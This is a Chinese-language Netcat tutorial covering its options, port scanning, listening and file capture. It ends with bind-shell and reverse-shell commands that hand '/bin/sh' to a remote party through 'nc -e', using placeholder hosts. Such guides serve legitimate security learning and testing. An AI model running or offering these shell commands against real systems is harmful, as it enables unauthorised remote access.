一、Netcat简介
简介:Netcat是一款非常出名的网络工具,简称“NC”,有渗透测试中的“瑞士军刀”之称。
它可以用作端口监听、端口扫描、远程文件传输、还可以实现远程shell等功能。 一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几 乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。 在中国,它的WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由‘红与黑’编译 后的新‘浓缩’版。‘浓缩’版的主程序只有10多KB(10多KB的NC是不能完成下面所说的第4、第5种使用方法,有此功能的原版NC好象要60KB:P),虽然"体积"小,但很完成很多工作。
功能说明:端口扫描、端口监听、远程文件传输、远程shell等等;
语 法:nc [-hlnruz][-g<网关…>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v…][-w<超时秒数>][主机名称][通信端口…
参数:
-g <网关> 设置路由器跃程通信网关,最多可设置8个;
-G <指向器数目> 设置来源路由指向器,其数值为4的倍数;
-h 在线帮助;
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;
-l 使用监听模式,管控传入的资料;
-n 直接使用IP地址,而不通过域名服务器;
-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p <通信端口> 设置本地主机使用的通信端口;
-r 乱数指定本地与远端主机的通信端口;
-s <来源位址> 设置本地主机送出数据包的IP地址;
-u 使用UDP传输协议;
-v 显示指令执行过程;
-w <超时秒数> 设置等待连线的时间;
-z 使用0输入/输出模式,只在扫描通信端口时使用。
二、基本使用
连接到远程主机
nc-v target_IP target_Port
监听本地主机
nc-I-p Local_Port
端口扫描:扫描指定主机的单一端口是否开放
nc-v-z Target_IP Target_Port_Start-Target_Port_End
扫描指定主机的某个端口段的端口开放信息
nc-v-z Target_IP Target_Port_Start-Target_Port_End
扫描制定主机的某个UDP端口段,并且返回端口信息
nc-v-z-u Target_IP Target_Port_Start-Target_Port_End
扫描指定主机的端口段信息,并且设置超时时间为3秒
nc -vv(-v) -z -w time Target_IP Target_Port_Start-Targert_Port_End
端口监听
监听本地端口
nc -l -p local_Port
监听本地端口,并且将监听到的信息保存到指定的文件中
nc -l -p local_Port > target_File
连接远程系统
nc Target_IP Target_Port
之后可以运行HTTP请求
获取shell
简述:获取shell分为两种,一种是正向shell,一种是方向shell。如果客户端连接服务器端,想要获取服务器端的shell,那么称为正向shell,如果是客户端连接服务器,服务器端想要获取客户端的shell,那么称为反向shell
正向shell
本地主机:
nc Targert_IP Targert_Port
目标主机:
nc -lvp Targert_Port -e /bin/sh
反向shell
本地主机:
nc -lvp Target_Port
目标主机:
nc Targert_IP Targert_Port -e /bin/sh